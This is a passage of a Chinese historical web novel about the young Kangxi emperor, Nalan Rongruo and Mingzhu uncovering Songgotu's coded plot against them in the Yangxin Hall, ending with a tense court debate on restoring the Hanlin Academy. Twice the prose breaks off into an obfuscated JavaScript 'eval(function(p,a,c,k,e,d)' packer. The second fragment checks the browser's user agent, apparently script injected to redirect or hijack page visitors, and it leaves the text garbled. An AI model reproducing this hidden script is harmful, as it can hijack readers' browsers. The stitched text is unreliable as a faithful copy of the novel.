山中隐秘的小屋内,只有数根蜡烛照明。 一卷半翻的《天工开物》搁置在桌案上,被风吹乱了页码。 宋应星从袖中拿出一张字条,用眼神示意道:沈宛,你过来看。 沈宛走近,“这是什么?” 宋应星把字条放到沈宛手上,语无波澜道:“我的人从宫中窃取而来的——索额图欲暗害明珠之子的证据。” 沈宛并未细看字条的内容,而是先一步问:“御婵应当是站在哪一边?助索额图一臂之力促成此事,还是以此重要情报来跟明珠谈条件?” 宋应星在书桌后坐了下去,“你心里有数,就不必问师傅。” 沈宛试探着:“照御婵自己的意思去办,也无妨吗?” 宋应星点头,“你跟了我这么多年,是该按照自己的想法来历练一番的时候了。” 沈宛收好字条,走出林中小屋。 坐在一处月色清亮的地方,她仔细阅读并揣摩了字条上的文字: 抱病侧养,玉碎兰销。欠食之错,浇油以报。 事成则喜,如笔之断毫;事败则再,伺机后行。 沈宛对文字的内容只是半懂,唯独对“玉碎兰销”四个字理解的透彻: 主谋想通过某种手段、在某地要了纳兰公子的命。 她的心中忐忑不安。 帮助索额图害人性命,这事等同于助纣为虐,不能做。 以字条为筹码来向明珠谋求好处,没有胜算,不可为。 那就只剩下……亲口告诉纳兰公子:“你有危险,朝中有人想叫你死,别大意!”这一条路可以走了吧? * 一日上午,天晴无雪。 玄烨跟赫舍里皇后一同闲步御花园。 “朕看这大花惠兰开的好,就送到明珠府上去赏了纳兰吧!纳兰不是爱花吗?顾总管,朕要你亲耳听着他说谢恩的话。” 顾问行道:“万岁爷,纳兰公子是气质衬得上花,倒也不是刻意去爱的。” 玄烨抬头挺胸,指向自己,问道:“那你看朕如何?” “万岁爷您自然也不差。”顾问行赔笑道,“何况皇后娘娘在您身边陪着,可不是人比花美吗?” “就照着朕的命令去办。”玄烨忽然想起,“皇阿奶给了朕一盒千年人参,也一并赏了纳兰。” “奴才遵命。” 顾问行一面吩咐自己的徒弟去搬大花惠兰,一面自己往放置千年人参的地方去了。 “皇后,等到这冬天过了,选秀女之事就要有劳皇阿奶和你费心了。” 赫舍里谨慎道:“最终后宫要进来什么样的女子,还是都由皇上来做主。” “朕再怎么挑,皇后也只有你一个。”玄烨有些不耐烦,“你放心吧,没有人会威胁你的后位。” “臣妾不是这个意思。”赫舍里慌忙解释,“一切都听太皇太后跟皇上安排。” “你是皇后!”玄烨态度并不怎么客气,“要是事事都指望朕和皇阿奶来判断对或是不对,还怎么稳坐中宫、给六宫做表率?” “臣妾……” 赫舍里不知道为什么玄烨会生气。 在她的概念里,对丈夫需要温柔和服从、对太皇太后要恭敬和孝顺、对后宫的嫔妃要亲和与大度,这三点就是当好皇后的准则。 她不敢求尽善尽美,但最起码做到了让后宫风平浪静、让太皇太后满意、让天下之人不嫌。 只是皇上为什么,为什么就不能好好说话呢? “皇后回坤宁宫去歇着吧!” 赫舍里本还想多跟玄烨说几句话,但终究只是应了一声:“是。”< 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而事实上,玄烨压根不知道惠儿跟容若住在一起之事。 玄烨去明珠府上,也纯粹就是为了去看看:容若本人有没有对他的赏赐心悦臣服而已。 * 玄烨才踏入明珠府中,就听见了大太监顾问行的这么一番话: “奴才给万岁爷回话,您赏给纳兰公子的大花惠兰他收下了。然后,纳兰公子就带着随从一并往‘济国寺’去了,将……将万岁爷的赏赐用作给寺庙供花了。” 玄烨愕然,好一会儿,才端着圣驾问:“纳兰谢恩没有?” “纳兰公子说家中的花已经足够,皇上的恩典搁着也是占地方,不如——” “放肆!”玄烨环指了明府的空地一圈,“别的臣子想要朕的恩典还没有,纳兰倒是不稀罕?” 顾问行大胆道:“恕奴才直言,纳兰公子养的花草,每一盆都比御花园的耐看、好看。” “你是指御花园的那些奴才无能?”玄烨沉下脸,气冲冲道,“还是指朕没点自知之明,所赐之物入不了纳兰的眼?” 顾问行一低头:“奴才不敢!” 明珠赶紧圆场道:“皇上息怒。兰花高雅圣洁,最宜供在佛前。容若是为了给皇上、给大清祈福,才给皇帝的恩典换了个地方奉着的。” 玄烨留意到了一样东西:“玉兰树旁边放的那块石头是什么?” 明珠如实道:“回皇上,前几日臣与容若一起踏雪林间,容若见了藏在雪里的石头欢喜,就抱回家了。” 玄烨径直走向玉兰树,指着地上的东西冷问:“那块破石头倒是比朕的心意,还要适合占你家的院子了?” 不等想出措辞,顾问行就先一步道: “纳兰公子认为好的东西,自然就是好的。万岁爷您要是能把恩典发放到纳兰公子的心坎上,也不至于跟一块石头生气啊!” “朕——” 玄烨正要大肆发表一番自己对纳兰有多么“看重”和“在乎”,就看见了从外头进来的身影,不是别人,正是皇阿奶身边的贴身侍女苏麻喇姑。 顾问行上前:“苏嬷嬷,您怎么来了?” 苏麻喇姑道:“老祖宗听说咱们皇上深夜扰了明府的清静,叫我来带皇上回去慈宁宫说说话。” 玄烨耍性子一般道:“朕还没跟纳兰说上话。” “皇上,这‘济国寺’您可去不得。”顾问行道,“纳兰公子赶上了闭山门的时间,自然是可以随着方丈禅修一宿。您这般去,还不得惊动寺院上下,叫香客们见识少年天子的冲动与莽撞吗?” “朕就要为了纳兰去坏了进山的规矩,如何?”玄烨固执道,“方丈和香客,要怪也只有怪纳兰的道理,是纳兰惹的朕。不能说朕的不是。” 苏麻喇姑和气劝道:“老祖宗准备了皇上爱吃的八宝豆腐羹和玉米粥,正等着皇上过去呢。” “多谢皇阿奶惦记。“ 说罢,玄烨竟然转身就随着苏麻喇姑走了。 等到不速之客们都离开后,明珠跟夫人一起回了房。 明珠饮了一口茶:“皇上稀罕御花园里的东西吗?怕早就是看腻了!” 觉罗氏道:“咱们儿子这么做,也是为皇上考虑。别说后妃忌讳专宠,君侧也忌讳多恩啊!” “皇上对容若的恩,算是真心实意的恩吗?”明珠有些替儿子不值,“这么明目张胆地搬了两大盆大花惠兰过来,借着我明珠的名义来赏也就罢了,偏要指名道姓地说是给我儿子的恩典,容若能接吗?” “咱们儿子要是接了,朝臣不得弹劾明珠‘借子而骄’吗?索额图可就更有理由说道老爷的不是了。” “算了算了。”明珠摆了摆手,“这事就么结了。明早派人去‘济国寺’,好生接了容若回来用早膳,叫厨房备上他爱吃的玉兔白菜和荷叶膳粥。” * 明府高高竖起的围墙之上,有个敏捷的身影掠过。 那个躲在暗处的人,比干戈作态而来的皇上可要机警和低调多了,正是沈宛。 无疑沈宛前前后后、完完整整地目击了方才发生在明府的所有事情,只可惜她晚来一步,没看见带着大花蕙兰去往“济国寺”的纳兰公子的身影。 一不小心,碰落了一块本就松了的瓦片,沈宛心中一惊。 底下,一个人抬头。 对着沈宛问:“你是谁,来这里干什么?” 13.第13章 沈宛见下方的是位女子,看着没有要喊人抓贼的意思,就大胆跳进了明珠府中。 那女子又问了一遍:“你是谁,来这里做什么?” “我叫沈宛,想见纳兰公子。” “表兄不在,即便是在,为了留你的性命免被伯父所拿也不会见你。” “随便闯入明珠家中见纳兰公子的人,就是死罪吗?” “那要由伯父的眼睛来判断:私闯者有没有活着走出去的价值。” “小姐怎么称呼?” “纳兰惠儿。是暂住伯父家的备选秀女。” “ ‘惠’心如兰,本应安之‘若’素。“沈宛洞穿对方的心思道,“惠儿小姐可是在心中对纳兰公子抱有好感?” 惠儿笑道:“果然,是要一个女子才能看穿另一个女子的心思。” “惠儿小姐既然对纳兰公子有心,那要是得知纳兰公子有难,可愿以智慧和大局观相帮?” 惠儿心中一紧,左右一看,没有别人之后,就叫沈宛到了她的房中。 惠儿示意沈宛请坐,道:“作为跟纳兰公子有交集的女子,光有智慧和大局观还不够,得同时具备‘击破问题要害’和‘为他排忧解难’的能力才行。” “那就请惠儿小姐指点迷津。” 沈宛把字条放到惠儿面前,信任与她。 惠儿看罢,理性道:“我能猜到五成,剩下的五成只有伯父能解。” “公子没法自己化劫吗?” “如果我没猜错,这个密报应是伯父的政敌索额图所写,目的是暗算表兄于养心殿。能够调动各方面力量保全表兄和保全皇上的,唯有伯父。” “养心殿?” “养心殿是皇上寝居和理政的地方,也是表兄在君侧的当值之处。字条中的‘侧养’二字——暗示的生事地点应该是:养心殿。包含的下手对象应该是:养心殿的皇上的侧近之人。” “那‘欠食之错,浇油以报’四字是什么意思?” “我不知,但伯父必定知道。” “可以带我去见明珠大人吗?” “你没想过去见伯父的后果吗?事关重大,索党得知,不会放过你;伯父筹谋,对你用之则弃,你有几分把握从伯父手下逃脱?” “公子什么时候回来?我在暗处等他。” “这里是龙潭虎穴不是洞天福地,表兄才给伯父解了一难,家中和家外奔波也是累乏。沈宛你这个时候告诉表兄他有生命之危,觉得妥当吗?” 沈宛一想,果然不合时宜。 惠儿伸出手:“你要是信的过我,就把字条留给我,我会跟伯父妥善处理此事。” “好。”沈宛把字条留下,“有劳惠儿小姐。” * 济国寺。 晨起天微亮,露寒见霜凝。 容若在禅房之中坐起,缓了缓神,才披衣梳洗。 昨夜,他跟方丈妙觉禅师之间有这么一番对话。 “弟子请大师开示:借花献佛与顺水人情有何区别?” 妙觉禅师笑而不语。 他与明珠有私交,日常除了做好份内的参禅礼佛、普渡众生、妙法莲华等事情之外,也是个深谙朝堂权斗之术的人。 “公子何其聪慧?懂得最佳的处理圣恩的方法。这大花惠兰送到老衲的‘济国寺’来,老衲自然会秉着为纳兰家着想的念头来办,还请公子放心。” “多谢大师。”容若清澈道,“兰花本就是禅花,寺中的清静之所多被称为‘兰若’或‘兰室’,今夜弟子所住的禅房,亦是有‘纳兰香’一炉,足矣。” “原本老衲以为,公子会叫老衲备上烛台和花瓶,好与‘纳兰香’一同:三具足。为何今夜未然?” “不瞒大师,我曾写下:肠断月明红豆蔻,月似当时,人似当时否?” 容若托起桌上的小香炉,道: “当时只对外人说是在诉相思,实际上却是在说这味我自制的:纳兰香。” “我独制此香,做法也不简单——需要有好料,纯净的奇楠香一块,静置水中洗净曾染的粉尘浮华,捞出,阴干,亲自削成小方块待用;需要有佳品,来自天竺的老山檀香,细心碾磨成粉,收罐备着;再曲新鲜豆蔻和砂仁,耐心捶成泥,混着以适量蜂蜜,添入檀香粉末,在玉盘之中置着。” “这些料子都备好了,就可以素手将它们合成丸,形状如指甲大小。最后一步,是压入奇楠香的小方块之中,成饼,阴干。用香之时,或焚或煎,皆是缓神宜人。” 妙觉禅师听罢,感慨道:“我‘济国寺’独得公子所授的‘纳兰香’香方,有幸至极。” “世人总拿我的词以‘情‘字论,我也不愿。”容若淡淡微笑,“能够在寺中当着大师的面一诉本意,亦是我之幸。” “公子若非是生在明珠家,世间岂能出‘纳兰香’?” “玄烨若非生在帝王家,大清将来哪里来的万古明君?” “公子的意思是——” “皇上爱打爱闹,爱拿陪臣拿嫡妻出气,难道不是做给鳌拜看的吗?皇上就是要做出在朝堂上先将鳌拜一军,后又变成难当重任、没有火候来背负大清江山的样子,来激起鳌拜等人揣测。” “公子有何高见——” “我不觉得自己受了什么委屈,只是苦了家中的阿玛和额娘,等皇上这一通闹过了,明日他的还是君,纳兰家还是臣,没有任何改变。不说‘给纳兰赐兰’之事,就皇上的脾气,冷落了赫舍里皇后,怕是要惹的索额图不爽快。” “多亏公子细心,从顾总管口中多问了一句当时御花园中的帝后情景,否则日后明珠大人遭了算计,还不知道是索额图有心为之呢。” “大师,你真觉得索额图要算计的人是我阿玛吗?” “难道不是?” “我倒有种预感是自己。” * 容若回到家中,一切如旧。 跟阿玛、额娘和惠儿一起吃早膳的过程中,也没有从任何人口中听到任何风声。 其实在昨晚,明珠从惠儿手中拿到索额图的“字条”和听得事情来龙去脉以后,只敢把所有惊讶和咬牙切齿的实感埋在心里。 他对惠儿道:“此事不但关乎容若生死,更是关乎皇上安危,我自有解决之法,你勿要对任何人说起,包括你表兄。” “是。”惠儿应道,“敢问伯父,索额图在字条当中,暗示的全意是什么?” 明珠把字条压在桌案上,逐字逐句解析道: “抱病侧养,如你所说,就是指:养心殿的君侧之臣纳兰容若寒冬易病,病中当值,有机可趁。玉碎兰销,这四个字索额图就是在咒我明珠的儿子死、纳兰家灭亡。哼!有劳他等着,等着看我纳兰家到底是倒还是耀!” “欠食之错【注1】,指的是:索尼死后,鳌拜、苏克萨哈、遏必隆三位大臣谁该任首辅之事,当时容若以三盘点心为解,孝庄太后甚是满意,还吩咐皇上照做。不想到了今日,索额图竟然敢用一个‘错’字来否认容若之策,实在是可恶。” “浇油以报,我认为是索党之人想在养心殿放火或是埋炸药,这可是谋害臣子之命和意图弑君的大罪,赫舍里一族当诛!” 尽管晓得明珠自有主张,但惠儿仍旧道:“伯父,惠儿以为有三个法子可用。” 明珠点头,“你说。” “其一,将此字条作为证据,上交孝庄太后,向孝庄太后阐明索额图的不臣之心;其二,养心殿内外,应有伯父亲信,让那些留意着风吹草动,及时向伯父汇报;其三,将计就计,设了圈套出来,让索额图自己露出马脚,瓮中捉鳖。” “我认为第三策为佳。” “若选第三策,难免需要表兄配合行事,不可不告知表兄一切。” “先瞒着,等到时机成熟我再跟容若说。这段时间,我会叫他不去养心殿。” “惠儿明白。” 当下,容若一无所知地回房看书。 此前,就皇上要复翰林院一事,他写了一份折子来陈述自己的想法和建议,这会儿他恰好记起此事,就打算把折子拿出来润色,好上呈给皇上看。 等到叠好折子、把折子带在身上准备出发时,身后传来了明珠的声音:“容若,你过来陪阿玛下棋。” 容若彬彬道:“儿午后一定如约。” 明珠故意板着脸道:“你看看自己做的好事,连皇恩都敢不领不谢。现在皇上还在气头上,你是打算去当他的出气包?还是连纳兰家的脸都不要了?” “儿有分寸。”容若外家门口走了几步,“知道轻重。” “你回来!”明珠大声一喝,“没有阿玛的同意,你哪儿也不许去。” * 禹之鼎大惊。 官云辞说要带他悄悄入宫去看少了两盆大花惠兰的御花园,抄密道走。 结果从密道出来,却是来到了钦天监。 “云辞格格,你这是……” “皇帝想要跟鳌拜决一胜负,你我就跟老天爷比试一场如何?” “在下实在是愚钝,不知道是何意。” 云辞仰望着天空道:“皇上是个实干家,但并不意味着对天观星的我们就是空想家。禹画师,你想把星星看的更清楚一些吗?” “啊……”禹之鼎顺着云辞的目光,“观星吗?真的可以离夜穹更近一些吗?” 云辞一点头,“当然,有望远镜就行。” “就是可以望见远处的镜子吗?”禹之鼎张开双臂,“那得有多大才能装的进一片天?” 云辞扑哧一声笑了:“很小的,只有你手臂的一半大。打个不太恰当的比喻,就像是一截可以透光望天的竹子。” 带着禹之鼎去看望远镜之前,官云辞领他来到了南怀仁的专属小房间内。 “我算是跟着南大人学习西洋科学的首批弟子,学问和勤奋可是不输给皇上的。” 云辞指向一个圆球体的、镂空的东西道:“这叫做银镀金浑天仪,是南大人在康熙八年的时候进呈给朝廷的。” 禹之鼎嘴快道:“那不就是今年吗?” “是啊,所以咱俩是第一批接触浑天仪的人。你看,这东西的金色环架可以分三层,外层有三个圈:子午圈、赤道圈、地平圈;中层有可旋转的三道:赤道、黄道、白道;最内层是四游环,环上刻有度分。” 云辞用手指碰了碰一个悬挂着的、会动的小球,道: “喏,你看这是地球,镶嵌在环架通轴的正中心。上面刻有:亚细亚、欧罗巴、阿美利加、利未亚等洲际的名字。你看这个,这个就是太阳和月亮的图形,月亮绕着地球转,地球绕着太阳转。” 禹之鼎一知半解,但是官云辞说话时神采奕奕的样子和认真专注的表情,却让他很是欣赏。 禹之鼎仔细一观察,倒是在“黄道带”上认得了一行字:康熙八年仲夏臣南怀仁等制。 “真厉害!”禹之鼎绕着浑天仪走了好几圈,“以测天之术,开太平盛世。” “你可知道南大人在恩师汤若望遇难时,对皇上说了一句话?”云辞佩服道,“他说:历法的革故鼎新和校对勘误由臣来,大清传统时历的守护就交给皇上了!丝毫不惧五年的牢狱之灾。” 禹之鼎心中慷慨澎湃,他用激动而兴奋的声线道: “云辞,不能让云层遮蔽我们的眼睛,我要看天,要跟你一起往外面的世界看!” * 钦天监的授业暖阁之内,禹之鼎和官云辞一同面对着:南怀仁亲自拿来的望远镜组装零件。 此外,桌面上的一个瓷盘之中,还放着两颗用作倒计时一般的冻梨。 冻梨是禹之鼎憨憨带来的,他说等望远镜组装好了之后,要跟云辞格格一起吃。 云辞细数起来:“寻星镜,凹镜,凸镜,伸缩杆,调焦钮,外壳,装饰用宝石,刻字用的小刀,放置用的支架,合成一体倒也不难。” 可是说归 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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禹之鼎一边说着这句话,一边在空地上步伐信信地走:时而欢呼、时而拍手、时而惊叹。 他的头始终是向上仰望着的,没有低下过。 官云辞站在原地看着他,从他身上找到了一种期待: 禹之鼎,今日你景仰于天,日后你在大清画坛摘星夺魁,也必将为后人所尊敬、所仰慕。 禹之鼎停在了心爱的女子面前。 是顿悟,亦是大悟: “是这种感觉啊云辞……我身边的人,像星辰一样照亮我,我有你有纳兰,有曹寅有市井人间、有如意馆的同僚们有皇上……是有了你们,我身上才染上了光芒,眼中才有了神采。天上之星和身边之星,我都有。” * 容若心细,发现了落在雪中的一小片瓦。 他虽不知那一小片瓦是沈宛“夜探明府”时碰落的,却留意到了不知何时落在瓦侧的洋笺,所以他猜:自己不在的时候,宛卿来过家中。 当然,不管是对谁—— 阿玛、额娘、惠儿,都不方便问起此事。 他就只好靠自己的慧根去想、去悟、去寻。 终于,心中有所串连: 阿玛不让我出门,应该是不想我前往危险之地。我想去的地方是养心殿,前去的目的是给皇上上折子。我此举所触动的,是鳌拜一党的利益;朝中虽然三权分立辅政,但鳌拜是实际上的首辅。索尼已死,其之子索额图爱权胜过他阿玛百倍,必定对今日局面不满。 索额图等着鳌拜倒台,所以未在前朝轻举妄动。他如今将大部分时间部署在后宫的赫舍里皇后身上,为的是让她拉拢君心,好为自己谋利。选秀之日在即,索额图不会不知纳兰明珠的心思,在他看来,与其酿成日后——朝堂上纳兰父子主导话语权,后宫中惠妃专宠,还不如棋行险招,先下手为强。 索额图想要下手的对象应该是我,不然阿玛不会对我的行动严加管束。 但是,索额图想要通过什么手段害我,却是个未知数。 容若反复思量,最后还是决定去找明珠。 父子两人坐在棋盘两侧,黑子和白子对弈在经纬之间。 “阿玛看你今日的棋路比昨日精进了呀!” “哦?”容若淡笑,反而不落子了,“有一件事,儿有所解惑,但又不完全透彻。不知可否请阿玛指教一二?” “还有难的倒你的事吗?”明珠把黑子放回棋盒,专心看着儿子,“说吧。” “儿觉得自己有难,正在被阿玛尽全力保护。儿想知道:现在是否到了父子开诚布公的时机。” “瞒不过你。”明珠单手把棋盘上面的棋子一混。 “索额图想在养心殿用外力设局杀你,你有什么想法就当着阿玛的面大胆说。” “果然是冲明珠的儿子来的。谢阿玛明示。” 容若从明珠手中接过那张字条,一看便知其中的玄机。 “儿知道阿玛在想什么。阿玛在想:索额图敢这么做,说明他压根没把少年天子放在眼里。顺治帝崩逝的早,可想而知如果康熙也不长命的话,赫舍里皇后若是生下嫡长子,朝纲岂非要成为他们索家的朝纲了?阿玛您断断容不得事态如此发展。” “玄烨怎么样都好,阿玛现在在乎的是你的性命。”明珠对儿子关切道,“知道索党之人的行动手段和地点,却不知道他们的行动时间,阿玛也不好在养心殿内外贸然部署。” “那就顺了索额图的心。”容若捡拾着盘中的白子,“演一场纳兰父子的戏、玄烨容若君臣的戏,看看戏中人和局外人谁才是明白人。” 明珠听之惊讶:“容若,这事非同小可,你想清楚了?” “儿想清楚了,躬身入局不如以身作局。”随着最后一颗白子落回棋盒,容若向明珠会心一笑,“索党放过来的背后冷箭,儿接定了,但也会回之以利剑。” “你去哪儿?” “阿玛,我不能叫皇上一个人面临危机呀!” 【注1】具体事件见第10章,孝庄对纳兰的考验。 14.第14章 瓜尔佳府邸。 面对忽然登门而来的纳兰容若,朴尔普差点叫出了“贤婿”二字。 “纳兰公子,今天你怎么有空来我这?” “我来找云辞格格,问她要一样东西。” “莫不是你俩之间的定情信物?” “朴尔普大人不要误会,是别的东西,只有云辞格格才有。” 朴尔普对管家催道:“你还愣着干什么?赶紧叫云辞出来见纳兰公子!” 管家看着朴尔普那副自己“见女婿”、女儿“见夫君”似的的样子,挠了挠头,才听命照办。 看到云辞,容若就想起了她那句听着冷淡、但是魄力十足的话:“嫁谁也不嫁纳兰公子。” 他不禁对她温雅一笑,真是个很有性格的八旗格格呀! 云辞不知道今天吹了什么风,把明珠大人家的珠玉吹来了,只好对纳兰公子见了礼,然后问他:“不知公子前来,所为何事?” “借一步说话。” “好好好。”朴尔普马上替女儿答应了下来,“你俩留下,阿玛回避。” 他一挥手,厅内的佣人们就一并退了下去。 “云辞格格你学贯中西,是大清难得的奇女子。容若想向你借一个西洋放大镜,不知是否可以如愿?” “名画的细节,公子你不用放大镜也能参透;天上的繁星,并非放大镜可观。请问公子你拿放大镜来做什么?” 容若巧道:“嚼蕊牵肠,人之常情;蜜出花中,难解其味。想从格格手中借一镜,来看看在细微之处——冬花何以胜过春花。” 云辞听出了弦外之音,“纳兰公子雅兴,我若不成人之美,岂非是让你扫兴?你稍作等待,我回房去拿。” 云辞取了放大镜回来,将容若想要的东西交到了他手上。 “冬未过,冬花芳华未消,还请公子且看且珍惜,莫要错过细枝末节,让花早凋。云辞,盼着公子顺心如愿,要做之事,一切尽在掌握之中。” “多谢。容若自当不让自己‘玉碎兰销’于养心殿。” 容若从袖中拿出一张笺纸,云辞接过,只见上面写着: 高楼月如雪,月明翡翠钿。 月出光在天,月高光在地。 【注1】 “公子连用四个‘月’来也夜景,实际上是要以反语来向云辞询问:‘养心殿的日照规律是什么样的?’对吗?” “正是如此。” “我的确是师从南怀仁,懂得观天象和测日晷。若是能够救公子一命,我愿意倾力相助。” “那容若就请云辞格格不吝赐教——” * 养心殿内。 顾问行给皇帝递上了一幅画。 “万岁爷,这是禹画师给您画的《明月疏星图》。” “朕是红日,冉冉升起的红日!” “恕奴才多说一句,这是禹画师看见了‘了不得的东西’之后画的。” “禹之鼎痴狂笔墨,日夜颠倒、白日做梦了是吧?” “禹画师最近沉迷于星象之学,将沈括的《梦溪笔谈》和汤若望、南怀仁两位大人的洋书译本都翻了个遍。” “不提他了,让朕静一静。” 说罢,少年天子就把顾总管遣了出去。 玄烨想起来之前纳兰容若来找自己的事。 那一天,纳兰匆匆而来,一身风雪,削骨寒冷而不提,侵肌深痛而不说。 他入殿后,连君臣之礼都没行,就径直到了自己身边,对自己道:“启禀皇上,臣有要紧的事情要说,请屏退旁人。” 自己只感觉纳兰浑身冷的跟一块在雪中冰过的玉似的,寒气逼人,就下意识地把自己的花缎貂皮袍子给他披了上去。 养心殿内只剩下君臣二人和多添了的火盆。 玄烨再次确认:“你是说索额图想置你于死地,欲在这里放火或是埋药引炸,连朕的性命都不管不顾?” “臣是这个意思。”容若话锋一转,“但是已经为皇上想过对策了。” 玄烨把那张无疑是索额图的笔迹的字条紧拽在手里,双颊因为无声的震怒地颤动。 “臣给皇上建议:在早朝之日,刻意传呼臣上朝,让臣为皇上的‘复翰林院’之举献策。此后,臣有办法让养心殿发生火事,并且把矛头对准索额图。” “你叫谁给养心殿放火?”玄烨惊问,“万一朕那些不该烧的东西,都被大火烧了呢?” “那就请皇帝提前把‘不该烧的东西’列写出来,臣会一一对照取出,不做疏漏。臣并非是想让养心殿起人为之火,而是想制造一场天火。制造一场名义为:索额图命人所放的、害君害臣的纵火之案。使得你我君臣反败为胜。” “天火?”玄烨疑惑,“你怎么就知道老天爷肯帮你?” “云辞格格帮臣问过天了,早朝之日,日出之后,此事能成。” “既然你对官氏这么感兴趣,朕事后就去叫皇阿奶把她指给你。” “皇上不要本末倒置,又拿臣的婚配之事来说笑。” “好,不说就不说。” 回到当下,玄烨从桌案的抽屉中拿出一个放大镜,对着光亮初一看。 瞬间而来的反射光,刺激地他眼睛一眨,但是君威丝毫不减。 * 朝堂之上,鳌拜居前,众臣居后,明珠与索额图分站左右两侧。 忽然传来一声高喊:“皇上驾到——” 众臣子就一起跪地,对登銮而上、步入宝座的康熙皇帝行跪拜之礼:“吾皇万岁万岁万万岁!” 玄烨气度恢宏地一抬手:“众臣平身。” “谢皇上。” 众臣子依照礼数应完,像往常一样—— 等着皇上与辅政大臣鳌拜之间的反调、候着明珠与索额图之间的互对、瞧着新一轮的天子新见和八旗亲贵旧见之间的波澜……没准在半途之中,还能把孝庄太后给惹来,好平衡宝座之上和宝座之下的君臣利益关系。 唯独今天不一样。 玄烨对着銮下众臣道:“朕说过要改制就是要改制,只跟你等说如何改,而不是听了你等的意见后,才来决定改或者是不改。” 鳌拜当众冷哼了一声,他身后的依附者们,亦是相似的神色和态度。 玄烨拿出魄力道:“朕近日收到了极好的‘复翰林院’之策,就要当着你等的面来叫你等洗耳恭听。” 鳌拜冷应了一声,言不由衷道:“臣等恭听皇上圣言。” 玄烨往右侧一递眼色,文武双全的翩翩公子会意而出。 一瞬间,朝堂之上议论纷纷,倒是明珠在一片“没有这样的规矩”的不满声音之中,镇定自若。明珠面不改色心不跳地看着少年天子和自己的儿子,等待着皇上的下一句话和儿子的下一步举动。 鳌拜见大家的态度类似:都是谴责康熙皇帝的“坏了祖宗规矩”的声音,都是不满纳兰性德“僭越朝堂礼数”的怒颜。索性不说一句话了。 ——皇上今日的荒唐之举,怕是要钉在《清圣祖实录》的耻辱柱上面去的吧? ——纳兰性德恃宠而骄,自高自大,堂堂站在君侧,明珠真是教子无方! 索额图终于忍无可忍,轻蔑道:“幕后陪臣岂有站上朝堂之理?” “朕说纳兰有资格,他就有!”反驳完索额图,玄烨命令道,“纳兰,你把自己写的跟‘复翰林院’相关的见解和策略都说出来——” “是。” “礼终以恩,学进以才。吾皇复设翰林院,兴利除弊,承天合恰,满汉共睦,佳举也。” “臣之见策有三:其一,大清入关以后,马背得天下之理念有别于中原主流之文化,需兴儒学正道,设所讲授经典以文养、以修学;其二,前制之弊【注2】,满清独有,不合月异,需去劣推优,罢旧制而举新措,设内阁以任贤能、培良材;其三,清承明制,先皇帝之折中之计也,今吾皇有志,深谋远虑,可出先皇帝之上。故而复翰林院之事,其他改制之事,应从圣意,立天而行。” 纳兰性德说完这些,朝堂已经不能用震惊来形容了,而是陷入了交头接耳的混乱状态。 明眼之人心想: 明珠之子,言语谨慎,才华卓然,行文之间,叫人自知其意。纳兰性德所说的三点——兴文尊儒、除旧迎新、拥主集权,滴水不漏,不过激也不保守,不偏颇也不空谈,可见是反复斟酌过的。 有心之人记恨: 明珠之位已高,再有手中“美玉”加持,日后必定把持朝纲,左右皇帝,对大清江山无益。纳兰性德一身才学,本应独善其身当个佳公子,可他偏偏要走到皇帝身边去,真是赞否两论啊! “纳兰性德你好大的胆子!” 终于有人发了声: “原来皇上要复翰林院,就是你吹的耳边风。” “你的目的有三:为自己;为皇帝集权;为了借复立翰林院的契机,以翰林院成内阁,以达到——‘用内阁来抗衡祖宗们立下的议政王大臣会议’的目的。” 玄烨正色道:“改制和复翰林院是朕的本意!” “也难怪皇上高兴,原来纳兰性德是跟着皇上一块往咱们老祖宗的规矩制度上动刀子。一拍即合罢了。” 礼部右侍郎兴必察嘲讽道:“如此谄媚、讨好、满足于君,纳兰性德不愧是我清的:君侧第一陋臣!” 索额图心想: 纳兰性德心思缜密,狡诈如其父明珠。 今日初次露面朝堂,面对群臣的这般压力而不惊,面对满堂的议论之声而不慌,难怪皇上敢把他带身边。看样子,皇上是没把纳兰性德当近臣,而把他当知己和自己人了呀! 吏部尚书道:“臣听闻:非进士不入翰林,非翰林不入内阁。纳兰性德你连功名都没有考取,就在朝堂之上大放厥词,也不掂量掂量自己的份量!” 纳兰道:“先帝对翰林院两复三撤,不是意志不够坚定,而是为朝中势力所阻碍。今你是臣子,我也是臣子,我愿意为皇上赴汤蹈火、粉身碎骨,就可以以份量论,就够格跟皇上称手足,就有底气站在皇上身侧。” “不错。”玄烨肯定道,又指着吏部尚书问,“你又怎知纳兰考不上功名?照朕看,纳兰是满清第一才子,参加科举必定名列三甲。” “皇上对纳兰性德如此看重,还会在乎他有没有功名吗?” 鳌拜冷问:“皇上主动问太皇太后许可,将明珠家的公子留在身侧,本就已经犯了朝臣们的忌讳,如今皇上一副让纳兰性德参政议政之姿,可是不把我们这些老臣放在眼里?” “朕要任用谁,信任谁,轮的到你来指手画脚吗?”玄烨从宝座上站起,“鳌拜你是辅政大臣,不是当朝‘宰相’,没资格不满朕重用纳兰!” 索额图站了出来,指着明珠道:“鳌拜大人你也不必因为今日之事跟皇上生气,说白了还是明珠了得。已经把儿子送到皇上君侧去了,还差把一个新妃送到皇上枕边吗?” 明珠不卑不亢道:“臣请皇上和各同僚明鉴,臣绝对没有动过献宝之心,只是美玉之光难挡,必将为识货人所挑罢了。” “君臣之嫌远远多于父子之情!”索额图唾弃道,“明珠,你想要耍手段凌驾于我等之上,没那么容易!” “住口!” 玄烨对着索额图一喝,然后讲起了自己的施政纲领来: “朕与纳兰商议,复翰林院以后,设:掌院学士、侍读学士、侍讲学士、修撰、编修、检讨等职位,任职者不分满汉,但凡在科举之中成绩优异者……” 忽然,门外传来一声高喊:“太皇太后驾到——” “哟,还是得让老祖宗来主持大局啊!”礼部右侍郎兴必察幸灾乐祸道,“索大人,明珠大人,你俩站回各自的位置上去吧。免 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“议政王大臣会议制度在老汗王努尔哈赤时期就已经形成,军国大事由八旗、贝勒、满族宗亲共同商议裁决,到了我们皇帝这一代,正在逐步摆脱奴隶主贵族习俗,皇帝急了一些,纳兰你也由着皇帝的性子来吗?” 